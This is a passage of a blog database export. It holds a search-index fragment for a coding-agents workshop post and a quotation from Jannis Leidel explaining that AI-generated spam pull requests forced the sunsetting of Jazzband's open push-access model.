'simonw.github.io/nicar-2026-coding-agents/visualizations.html)':129C 'simonw.github.io/nicar-2026-coding-agents/warmup.html)':91C 'since':149C 'some':188C 'source':249C 'speaking':11B 'sql':259C,267C,305C 'sqlite':12B,186C 'start':221C 'started':201C 'static':211C 'static.simonwillison.net':411C 'static.simonwillison.net/static/2026/tree-sql-map.jpg)':410C 'status':353C 'subheading':270C 'such':207C 'sunset':395C 't':425C 'table':79C 'targets':286C 'text':310C 'that':59C,165C,208C,229C 'the':35C,78C,141C,170C,180C,196C,264C,283C,309C,392C,415C,429C,436C 'them':190C 'then':217C,331C,339C,347C 'three':50C 'to':70C,155C,417C,427C,446C,451C 'tokens':179C 'tools':60C 'tree':383C 'trees':240C,258C,266C,290C 'truncated':351C 'up':174C 'use':168C 'used':69C,183C,191C 'useful':420C 'using':143C,242C 'usually':435C 'vibe':222C 'visualizations':126C,226C 'viz':215C 'warmup':87C 'was':151C,198C 'ways':58C 'we':200C 'web':261C 'weren':424C 'when':199C,325C,333C,341C 'who':423C 'with':112C,127C,134C,263C,308C,385C,449C 'workshop':43C,142C,197C 'zoom':402C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/trees-sql-map-card.jpg",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-03-14 18:41:25+00:00
{
  "id": 2045,
  "slug": "jannis-leidel",
  "quotation": "GitHub\u2019s\u00a0[slopocalypse](https://www.theregister.com/2026/02/18/godot_maintainers_struggle_with_draining/)\u00a0\u2013 the flood of AI-generated spam PRs and issues \u2013 has made Jazzband\u2019s model of open membership and shared push access untenable.\r\n\r\nJazzband was designed for a world where the worst case was someone accidentally merging the wrong PR. In a world where\u00a0[only 1 in 10 AI-generated PRs meets project standards](https://www.devclass.com/ai-ml/2026/02/19/github-itself-to-blame-for-ai-slop-prs-say-devs/4091420), where curl had to\u00a0[shut down its bug bounty](https://daniel.haxx.se/blog/2026/01/26/the-end-of-the-curl-bug-bounty/)\u00a0because confirmation rates dropped below 5%, and where GitHub\u2019s own response was a\u00a0[kill switch to disable pull requests entirely](https://www.theregister.com/2026/02/03/github_kill_switch_pull_requests_ai)\u00a0\u2013 an organization that gives push access to everyone who joins simply can\u2019t operate safely anymore.",
  "source": "Jannis Leidel",
  "source_url": "https://jazzband.co/news/2026/03/14/sunsetting-jazzband",
  "created": "2026-03-14T18:41:25+00:00",
  "metadata": {},
  "search_document": "'/2026/02/03/github_kill_switch_pull_requests_ai)':100A '/2026/02/18/godot_maintainers_struggle_with_draining/)':6A '/ai-ml/2026/02/19/github-itself-to-blame-for-ai-slop-prs-say-devs/4091420),':64A '/blog/2026/01/26/the-end-of-the-curl-bug-bounty/)':76A '1':52A '10':54A '5':82A 'a':34A,48A,90A 'access':28A,106A 'accidentally':42A 'ai':11A,56A,122B,124B 'ai-ethics':123B 'ai-generated':10A,55A 'an':101A 'and':15A,25A,83A 'anymore':116A 'because':77A 'below':81A 'bounty':73A 'bug':72A 'can':112A 'case':39A 'confirmation':78A 'curl':66A 'daniel.haxx.se':75A 'daniel.haxx.se/blog/2026/01/26/the-end-of-the-curl-bug-bounty/)':74A 'designed':32A 'disable':94A 'down':70A 'dropped':80A 'entirely':97A 'ethics':125B 'everyone':108A 'flood':8A 'for':33A 'generated':12A,57A 'github':1A,85A,117B 'gives':104A 'had':67A 'has':17A 'in':47A,53A 'issues':16A 'its':71A 'jannis':126C 'jazzband':19A,30A 'joins':110A 'kill':91A 'leidel':127C 'made':18A 'meets':59A 'membership':24A 'merging':43A 'model':21A 'of':9A,22A 'only':51A 'open':23A,119B 'open-source':118B 'operate':114A 'organization':102A 'own':87A 'pr':46A 'project':60A 'prs':14A,58A 'pull':95A 'push':27A,105A 'python':121B 'rates':79A 'requests':96A 'response':88A 's':2A,20A,86A 'safely':115A 'shared':26A 'shut':69A 'simply':111A 'slopocalypse':3A 'someone':41A 'source':120B 'spam':13A 'standards':61A 'switch':92A 't':113A 'that':103A 'the':7A,37A,44A 'to':68A,93A,107A 'untenable':29A 'was':31A,40A,89A 'where':36A,50A,65A,84A 'who':109A 'world':35A,49A 'worst':38A 'wrong':45A 'www.devclass.com':63A 'www.devclass.com/ai-ml/2026/02/19/github-itself-to-blame-for-ai-slop-prs-say-devs/4091420),':62A 'www.theregister.com':5A,99A 'www.theregister.com/2026/02/03/github_kill_switch_pull_requests_ai)':98A 'www.theregister.com/2026/02/18/godot_maintainers_struggle_with_draining/)':4A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Sunsetting Jazzband"
}
Copy and export data

Duration: 147.62ms